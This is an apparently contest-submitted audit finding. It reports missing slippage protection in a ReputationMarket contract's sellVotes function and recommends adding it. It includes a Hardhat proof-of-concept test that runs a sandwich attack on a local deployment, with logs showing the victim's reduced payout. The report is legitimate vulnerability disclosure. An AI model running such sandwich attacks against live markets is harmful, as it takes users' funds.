Teeny Smoke Grasshopper
High
The missing slippage protection in ReputationMarket#sellVotes
will make sellers vulnerable to a sandwich attack.
The slippage protection is implemented in buyVotes
function buyVotes(
uint256 profileId,
bool isPositive,
>> uint256 expectedVotes,
>> uint256 slippageBasisPoints
) public payable whenNotPaused activeMarket(profileId) nonReentrant {
But in sellVotes
, the slippage protection is missing
function sellVotes(
uint256 profileId,
bool isPositive,
uint256 amount
) public whenNotPaused activeMarket(profileId) nonReentrant {
No response
No response
- The attacker buys votes in the opposite direction of the victim.
- The victim sells votes.
- The attacker sells votes in the opposite direction of the victim.
The sellers in ReputationMarket
are vulnerable to a sandwich attack. Loss of funds.
- Create
PoC.test.ts
intest/reputationMarket
- Run
NODE_OPTIONS='--no-warnings=ExperimentalWarning --experimental-loader ts-node/esm/transpile-only' npx hardhat test test/reputationMarket/PoC.test.ts
PoC.test.ts
:
import { loadFixture } from '@nomicfoundation/hardhat-toolbox/network-helpers.js';
import { use } from 'chai';
import chaiAsPromised from 'chai-as-promised';
import { type ReputationMarket } from '../../typechain-types/index.js';
import { type EthosUser } from '../utils/ethosUser.js';
import { createDeployer, type EthosDeployer } from '../utils/deployEthos.js';
import { DEFAULT, MarketUser } from './utils.js';
/* eslint-disable react-hooks/rules-of-hooks */
use(chaiAsPromised as Chai.ChaiPlugin);
describe('PoC', () => {
let deployer: EthosDeployer;
let marketUser : EthosUser, ethosVictim: EthosUser, ethosAttacker : EthosUser;
let victim: MarketUser;
let attacker: MarketUser;
let reputationMarket: ReputationMarket;
let victimTotalVotes: bigint = 10n;
let victimBalanceBefore: bigint;
beforeEach(async () => {
deployer = await loadFixture(createDeployer);
if (!deployer.reputationMarket.contract) {
throw new Error('ReputationMarket contract not found');
}
[marketUser, ethosVictim, ethosAttacker] = await Promise.all([
deployer.createUser(),
deployer.createUser(),
deployer.createUser(),
]);
await Promise.all([ethosVictim.setBalance('2000'), ethosAttacker.setBalance('2000')]);
victim = new MarketUser(ethosVictim.signer);
attacker = new MarketUser(ethosAttacker.signer);
reputationMarket = deployer.reputationMarket.contract;
DEFAULT.reputationMarket = reputationMarket;
DEFAULT.profileId = marketUser.profileId;
await reputationMarket
.connect(deployer.ADMIN)
.createMarketWithConfigAdmin(marketUser.signer.address, 0, {
value: DEFAULT.initialLiquidity,
});
for (let i = 0; i < victimTotalVotes; i++) {
await victim.buyOneVote({ profileId: DEFAULT.profileId, isPositive: true});
}
victimBalanceBefore = await ethosVictim.getBalance();
});
it('Without sandwich attack', async () => {
await victim.sellVotes({ profileId: DEFAULT.profileId, isPositive: true, sellVotes: victimTotalVotes});
console.log("Total received: ", await ethosVictim.getBalance() - victimBalanceBefore);
})
it('With sandwich attack', async () => {
let attackerTotalVotes:bigint = 15n;
for (let i = 0; i < attackerTotalVotes; i++) {
await attacker.buyOneVote({ profileId: DEFAULT.profileId, isPositive: false });
}
await victim.sellVotes({ profileId: DEFAULT.profileId, isPositive: true, sellVotes: victimTotalVotes});
await attacker.sellVotes({ profileId: DEFAULT.profileId, isPositive: false, sellVotes: attackerTotalVotes});
console.log("Total received: ", await ethosVictim.getBalance() - victimBalanceBefore);
})
});
Logs
Without sandwich attack
Total received: 79665279363732660n
With sandwich attack
Total received: 24074290343831753n
There is a big difference in the amount of ETH that the victim will receive in case the attacker performs the sandwich attack.
Implement slippage protection in sellVotes
.